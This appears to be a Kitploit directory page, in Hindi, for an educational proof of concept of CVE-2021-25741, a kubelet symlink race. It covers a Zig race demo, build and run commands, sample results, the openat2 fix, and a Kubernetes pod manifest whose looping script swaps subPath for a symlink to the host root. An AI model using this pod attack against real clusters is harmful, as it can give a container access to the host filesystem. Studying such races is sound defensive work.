Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ZigRaceExploit — CVE-2021-25741 POC in Zig | Kitploit
उपकरण/GitHubGitHub/glutenfree69/zigraceexploit
Container SecurityVulnerability AnalysisExploitationCloud SecurityLearning & EducationBinary Exploitation
GitHubglutenfree69/zigraceexploit

ZigRaceExploit

CVE-2021-25741 POC in Zig

रिपॉजिटरी देखें
5 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-25741 — Zig में TOCTOU सिमलिंक रेस एक्सप्लॉइट

CVE-2021-25741 का शैक्षिक एक्सप्लॉइट, जो कि Kubernetes kubelet में एक भेद्यता है। यह एक रेस कंडीशन TOCTOU (Time Of Check, Time Of Use) पर आधारित है।

यह प्रोजेक्ट स्थानीय स्तर पर (K8s क्लस्टर के बिना) दर्शाता है कि कैसे symlink का समवर्ती स्वैप lstat() और open() के बीच पथ सत्यापन को बायपास कर सकता है, और सिद्ध करता है कि RESOLVE_* फ़्लैग के साथ openat2() समाधान है।

विषय-सूची

  • समस्या
  • एक्सप्लॉइट कैसे काम करता है
  • कोड आर्किटेक्चर
  • पूर्वापेक्षाएँ
  • बिल्ड
  • उपयोग
    • स्थानीय परीक्षण Docker के साथ
    • openat बनाम openat2 तुलना
    • TOCTOU देरी के साथ खेलना
    • वास्तविक Kubernetes नोड पर परीक्षण
  • अपेक्षित परिणाम
  • कोड की व्याख्या
  • उपयोग किए गए Linux syscalls
  • strace से डीबग
  • संदर्भ

समस्या

Linux में पथ समाधान

जब kernel /a/b/c/file जैसे पथ को हल करता है, तो वह इसे घटक दर घटक करता है। प्रत्येक चरण पर, यदि घटक एक symlink है, तो kernel स्वचालित रूप से उसका अनुसरण करता है। यह समाधान एटॉमिक नहीं है — दो चरणों के बीच फ़ाइल सिस्टम बदल सकता है।

kubelet में TOCTOU

Kubernetes kubelet ने ठीक यही भेद्य पैटर्न अपनाया था:

root@kitploit:~
1. CHECK (जाँच) : lstat(subPath) → "यह एक निर्देशिका है, सुरक्षित है"
     ↕ रेस विंडो — कंटेनर में एक प्रक्रिया निर्देशिका को symlink से बदल देती है
2. USE (उपयोग) : mount(subPath) → symlink का अनुसरण करता है, होस्ट फ़ाइल सिस्टम को माउंट करता है

जाँच और माउंट के बीच, कंटेनर में एक दुर्भावनापूर्ण प्रक्रिया subPath को होस्ट के / की ओर इशारा करने वाले symlink से बदल सकती थी, जिससे होस्ट फ़ाइल सिस्टम तक पूर्ण पहुँच प्राप्त हो जाती थी।

समाधान : openat2(2)

openat2 syscall (kernel 5.6+) पथ को हल करता है और फ़ाइल को एटॉमिक रूप से खोलता है, सीमाओं के साथ:

openat2 के साथ, कोई TOCTOU विंडो नहीं है: यदि समाधान के दौरान कोई symlink दिखाई देता है, तो syscall तुरंत विफल हो जाता है।


एक्सप्लॉइट कैसे काम करता है

दो थ्रेड TOCTOU विंडो का शोषण करने के लिए सहयोग करते हैं:

root@kitploit:~
workdir/
├── legit_dir/
│   └── secret.txt  → सामग्री "LEGIT"
├── symlink_target/
│   └── secret.txt  → सामग्री "PWNED"
└── target/          → वास्तविक निर्देशिका और symlink के बीच स्वैप होता है

Racer थ्रेड

अत्यंत तेज़ लूप में घूमता है और renameat2(RENAME_EXCHANGE) के माध्यम से target/ को दो अवस्थाओं के बीच एटॉमिक रूप से स्वैप करता है:

  • अवस्था A: target/ एक वास्तविक निर्देशिका है (इसमें secret.txt = "LEGIT" है)
  • अवस्था B: target/ एक symlink है जो symlink_target/ की ओर इशारा करता है (इसमें secret.txt = "PWNED" है)

प्रति स्वैप केवल एक syscall = अधिकतम रेस विंडो।

पीड़ित थ्रेड (kubelet का अनुकरण)

kubelet के भेद्य पैटर्न को दोहराता है:

  1. fstatat("target", AT_SYMLINK_NOFOLLOW) — सत्यापित करता है कि यह एक निर्देशिका है
  2. वैकल्पिक विराम (जाँच और उपयोग के बीच kubelet की विलंबता का अनुकरण)
  3. openat(dirfd, "target/secret.txt", O_RDONLY) — फ़ाइल खोलता है
  4. read() — सामग्री पढ़ता है
  5. यदि सामग्री == "PWNED" → रेस जीत (symlink का अनुसरण हुआ)
  6. यदि सामग्री == "LEGIT" → रेस हार (यह वास्तविक निर्देशिका थी)

सुरक्षित मोड (--use-openat2) में, चरण 3 RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH के साथ openat2 का उपयोग करता है। यदि कोई symlink मौजूद है, तो kernel उसका अनुसरण करने के बजाय ELOOP लौटाता है।


कोड आर्किटेक्चर

root@kitploit:~
src/
├── main.zig       # प्रवेश बिंदु: CLI पार्स, साझा स्थिति बनाता है, थ्रेड स्पॉन करता है,
│                  # समय मापता है, परिणाम प्रदर्शित करता है
│
├── racer.zig      # Racer थ्रेड: प्रारंभिक अवस्था तैयार करता है (target → symlink),
│                  # फिर renameat2(RENAME_EXCHANGE) पर लूप करके target/ और legit_dir/ को स्वैप करता है
│
├── victim.zig     # पीड़ित थ्रेड: fstatat → delay → openat/openat2 → read → "LEGIT" बनाम "PWNED" तुलना के N पुनरावृत्तियाँ
│
├── setup.zig      # परीक्षण संरचना बनाता है: workdir/, legit_dir/,
│                  # symlink_target/, target/ सेंटिनल फ़ाइलों के साथ
│
├── syscalls.zig   # रॉ syscall के लिए स्थिरांक और रैपर:
│                  # - open_how संरचना (kernel UAPI, 3×u64)
│                  # - RESOLVE_* फ़्लैग
│                  # - RENAME_EXCHANGE (= 2)
│                  # - openat2() via linux.syscall4(.openat2, ...)
│                  # - rename_exchange() via linux.renameat2()
│                  # - सहायक: is_err(), to_errno(), to_fd()
│
└── stats.zig      # लॉक-फ्री एटॉमिक काउंटर (std.atomic.Value(u64))
                   # wins, losses, errors, eloop के लिए + स्वरूपित प्रदर्शन

सभी syscalls सीधे std.os.linux.* के माध्यम से कॉल किए जाते हैं (std.fs या std.posix रैपर नहीं)। Zig 0.15 stdlib में बिना रैपर के एकमात्र syscall openat2 है, जिसे हम linux.syscall4(.openat2, ...) के माध्यम से कॉल करते हैं, जिसमें कर्नेल UAPI हेडर से मैन्युअल रूप से परिभाषित open_how संरचना होती है।


पूर्वापेक्षाएँ

उपकरणसंस्करणक्यों
Zig0.15.xकंपाइलर + क्रॉस-कम्पाइलेशन

बाइनरी स्टैटिक (musl libc) कम्पाइल की जाती है और बिना किसी निर्भरता के किसी भी Linux पर चलती है।

न्यूनतम कर्नेल:

  • renameat2(RENAME_EXCHANGE) के लिए 3.15+
  • RESOLVE_* के साथ openat2 के लिए 5.6+ (केवल --use-openat2 के लिए आवश्यक)

Mac पर Docker Desktop और colima 6.x कर्नेल का उपयोग करते हैं — सब कुछ समर्थित है।


बिल्ड

Mac → Linux क्रॉस-कम्पाइलेशन

root@kitploit:~
# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# x86_64 (x86 नोड्स के लिए)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

बाइनरी zig-out/bin/race-exploit में है।

root@kitploit:~
$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked

उपयोग

स्थानीय परीक्षण Docker के साथ

root@kitploit:~
# Docker रनटाइम शुरू करें (यदि macOS)
colima start

# एक्सप्लॉइट चलाएँ (डिफ़ॉल्ट रूप से भेद्य मोड)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000

openat बनाम openat2 तुलना

root@kitploit:~
# भेद्य मोड (openat) — रेस काम करती है
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000

# सुरक्षित मोड (openat2) — रेस अवरुद्ध
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --use-openat2

या स्क्रिप्ट जो दोनों चलाती है:

root@kitploit:~
./scripts/run_in_docker.sh --iterations 10000

TOCTOU देरी के साथ खेलना

पैरामीटर --delay-us lstat (जाँच) और openat (उपयोग) के बीच विलंब जोड़ता है। देरी जितनी लंबी, TOCTOU विंडो उतनी बड़ी, और जीत दर उतनी अधिक:

root@kitploit:~
# बिना देरी — जीत दर ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000

# 10µs — जीत दर ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 10

# 100µs — जीत दर ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 100

# 1000µs (1ms) — जीत दर ~50% (सीमित, racer बहुत तेज़ स्वैप करता है)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --delay-us 1000

वास्तविक kubelet में, subPath सत्यापन और bind mount के बीच विलंब कई मिलीसेकंड (API कॉल, mount namespace तैयारी, आदि) का होता है, जो वास्तविक परिस्थितियों में रेस को बहुत विश्वसनीय बनाता है।

पूर्ण CLI विकल्प

root@kitploit:~
race-exploit [options]
  --iterations N     प्रयासों की संख्या (डिफ़ॉल्ट: 10000)
  --delay-us N       lstat और open के बीच माइक्रोसेकंड (डिफ़ॉल्ट: 0)
  --use-openat2      RESOLVE_* के साथ openat2 का उपयोग करें (सुरक्षित मोड)
  --workdir PATH     कार्यशील निर्देशिका (डिफ़ॉल्ट: /tmp/race-workdir)
  --help             सहायता दिखाएँ

वास्तविक Kubernetes नोड पर परीक्षण

एक्सप्लॉइट को Kubernetes की आवश्यकता नहीं है — यह एक मौलिक Linux रेस कंडीशन है। लेकिन आप इसे kubelet के समान शर्तों में परीक्षण करने के लिए वास्तविक नोड पर चला सकते हैं।

विकल्प 1: सीधे नोड पर चलाएँ

root@kitploit:~
# नोड की आर्किटेक्चर के लिए क्रॉस-कम्पाइल करें
# ARM64 (EKS Graviton के साथ, GKE T2A के साथ, आदि)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# या x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

# बाइनरी को नोड पर कॉपी करें
scp zig-out/bin/race-exploit user@node:/tmp/

# नोड पर चलाएँ
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100

# कर्नेल संस्करण जाँचें (openat2 के लिए >= 5.6)
ssh user@node uname -r

विकल्प 2: Kubernetes पॉड से चलाएँ

एक पॉड बनाएँ जो बाइनरी को एम्बेड करे और उसे चलाए:

root@kitploit:~
# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: race-exploit
spec:
  containers:
  - name: race
    image: alpine:latest
    command: ["/app/race-exploit"]
    args: ["--iterations", "50000", "--delay-us", "100"]
    volumeMounts:
    - name: exploit-bin
      mountPath: /app
  volumes:
  - name: exploit-bin
    hostPath:
      path: /tmp  # बाइनरी पहले यहाँ कॉपी की जानी चाहिए
  restartPolicy: Never
root@kitploit:~
# पहले बाइनरी को नोड पर कॉपी करें
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit

# पॉड लॉन्च करें
kubectl apply -f race-pod.yaml
kubectl logs race-exploit

विकल्प 3: वास्तविक CVE को subPath के साथ दोहराएँ

CVE-2021-25741 के सटीक परिदृश्य को दोहराने के लिए, रेस का शोषण तब करना होगा जब kubelet subPath के साथ वॉल्यूम का bind mount तैयार कर रहा हो:

root@kitploit:~
# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: subpath-race
spec:
  containers:
  - name: attacker
    image: alpine:latest
    command: ["/bin/sh", "-c"]
    args:
    - |
      # यह स्क्रिप्ट कंटेनर में चलती है और subPath को स्वैप करती है
      # जबकि kubelet mount तैयार कर रहा होता है
      while true; do
        rm -rf /vol/subdir
        ln -s / /vol/subdir
        mkdir -p /vol/subdir
      done
    volumeMounts:
    - name: shared-vol
      mountPath: /vol
      subPath: subdir  # ← kubelet जाँचता है फिर इस पथ को माउंट करता है
  volumes:
  - name: shared-vol
    emptyDir: {}

महत्वपूर्ण: यह हमला केवल अनपैच्ड kubelets (संस्करण < 1.22.2, < 1.21.5, < 1.20.11) पर काम करता है। हाल के kubelets subPath को हल करने के लिए RESOLVE_NO_SYMLINKS के साथ openat2 का उपयोग करते हैं।

यह जाँचने के लिए कि क्या आपका kubelet भेद्य है:

root@kitploit:~
# kubelet संस्करण
kubectl get nodes -o wide

# जाँचें कि kubelet में openat2 का उपयोग हो रहा है या नहीं (नोड पर)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20

अपेक्षित परिणाम

openat (भेद्य)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat (vulnerable)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3749
  Race wins:      940 (25.07%)
  Race losses:    2809 (74.93%)
  Errors:         0 (0.00%)
  Duration:       14ms

openat2 (सुरक्षित)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat2 (protected)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3105
  Race wins:      0 (0.00%)
  Race losses:    2283 (73.53%)
  Errors:         0 (0.00%)
  ELOOP (blocked): 822 (26.47%)
  Duration:       12ms

मुख्य अवलोकन:

  • "Total attempts" अनुरोधित पुनरावृत्तियों से कम है क्योंकि कई लूप टर्न स्किप हो जाते हैं (lstat एक symlink देखता है और open का प्रयास नहीं करता)
  • openat मोड में, ~25% प्रयासों में जीत होती है (फ़ाइल "PWNED" पढ़ी जाती है)
  • openat2 मोड में, 0% जीत — racer द्वारा स्वैप किए गए हर प्रयास को kernel द्वारा पहचाना जाता है जो ELOOP लौटाता है
  • ELOOP ठीक openat मोड में जीत के अनुरूप है: समान प्रतिशत, लेकिन अवरुद्ध

कोड की व्याख्या

syscalls.zig — मूल बिल्डिंग ब्लॉक्स

यह फ़ाइल Zig 0.15 stdlib में गायब स्थिरांकों को परिभाषित करती है:

root@kitploit:~
// renameat2(2) : दो फ़ाइल सिस्टम प्रविष्टियों का एटॉमिक स्वैप
pub const RENAME_EXCHANGE: u32 = 2;

// openat2(2) : syscall को पास की जाने वाली संरचना
pub const open_how = extern struct {
    flags: u64 = 0,   // O_RDONLY, O_WRONLY, आदि
    mode: u64 = 0,    // अनुमतियाँ (यदि O_CREAT)
    resolve: u64 = 0, // RESOLVE_* फ़्लैग
};

// open_how.resolve के लिए समाधान फ़्लैग
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // किसी भी symlink को अस्वीकार करें
pub const RESOLVE_BENEATH: u64 = 0x08;     // dirfd से ऊपर जाने की अनुमति न दें

openat2 को linux.syscall4(.openat2, ...) के माध्यम से कॉल किया जाता है क्योंकि Zig 0.15 में syscall नंबर है लेकिन कोई रैपर नहीं है।

racer.zig — हमलावर थ्रेड

शुरुआत में, यह target/ को symlink_target/ की ओर इशारा करने वाले symlink में बदल देता है, फिर दो renameat2(RENAME_EXCHANGE) पर लूप करता है जो target और legit_dir को स्वैप करते हैं:

root@kitploit:~
पुनरावृत्ति 1: target=dir,     legit_dir=symlink  ← पीड़ित को एक dir दिखता है, सामान्य रूप से खोलता है
पुनरावृत्ति 2: target=symlink, legit_dir=dir      ← पीड़ित symlink का अनुसरण करता है → PWNED

victim.zig — क्यूबलेट थ्रेड

lstat → delay → openat/openat2 → read → तुलना दोहराता है। परिणाम लॉक-फ्री एटॉमिक काउंटर (fetchAdd ऑर्डरिंग .monotonic के साथ) में गिने जाते हैं।

setup.zig — परीक्षण संरचना

mkdirat, openat(O_CREAT), और write के साथ पदानुक्रम बनाता है — सभी रॉ syscalls के माध्यम से। दो सेंटिनल फ़ाइलें: वास्तविक निर्देशिका में "LEGIT", symlink के लक्ष्य में "PWNED"।


उपयोग किए गए Linux syscalls


strace से डीबग

root@kitploit:~
# दोनों थ्रेड के सभी syscalls ट्रेस करें
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f /app/race-exploit --iterations 100

# दिलचस्प syscalls फ़िल्टर करें
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
  /app/race-exploit --iterations 100

# openat2 के ELOOP देखें
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat2 \
  /app/race-exploit --iterations 100 --use-openat2

नोट: strace Alpine में डिफ़ॉल्ट रूप से स्थापित नहीं है। alpine:edge का उपयोग करें या apk add strace से स्थापित करें:

root@kitploit:~
docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
  sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"

संदर्भ

  • CVE-2021-25741 — Kubernetes Issue #104980
  • Google Security Blog — Exploring Container Security: Storage
  • man 2 openat2 — समाधान
  • man 2 renameat2 — एटॉमिक स्वैप
  • man 2 fstatat — symlinks का अनुसरण किए बिना lstat
  • Symlinks and path resolution — Star Lab

ZigRaceExploit

टूल डाउनलोड करें
फ़्लैगप्रभाव
RESOLVE_NO_SYMLINKSकिसी भी symlink का अनुसरण करने से इंकार → ELOOP लौटाता है
RESOLVE_BENEATHआधार निर्देशिका से बाहर जाने से इंकार → EXDEV लौटाता है
RESOLVE_IN_ROOTdirfd को फ़ाइल सिस्टम की जड़ मानता है
RESOLVE_NO_XDEVमाउंट पॉइंट पार करने से इंकार
Docker
कोई भी
Mac पर Linux बाइनरी चलाने के लिए
colimaकोई भीmacOS पर Docker रनटाइम (या Docker Desktop)
Syscallएक्सप्लॉइट में भूमिकाZig रैपर
renameat2(RENAME_EXCHANGE)target ↔ legit_dir का एटॉमिक स्वैपlinux.renameat2()
fstatat(AT_SYMLINK_NOFOLLOW)lstat: जाँचता है कि target dir है या symlinklinux.fstatat()
openat(O_RDONLY)symlinks का अनुसरण करते हुए फ़ाइल खोलता है (भेद्य)linux.openat()
openat2(RESOLVE_NO_SYMLINKS)symlinks को अस्वीकार करते हुए फ़ाइल खोलता है (समाधान)linux.syscall4(.openat2, ...)
symlinkatप्रारंभिक symlink target → symlink_target बनाता हैlinux.symlinkat()
unlinkattarget को हटाता है, फिर उसे symlink के रूप में पुनः बनाता हैlinux.unlinkat()
mkdiratपरीक्षण निर्देशिकाएँ बनाता हैlinux.mkdirat()
read / write / closeसेंटिनल फ़ाइलों पर IOlinux.read() / linux.write() / linux.close()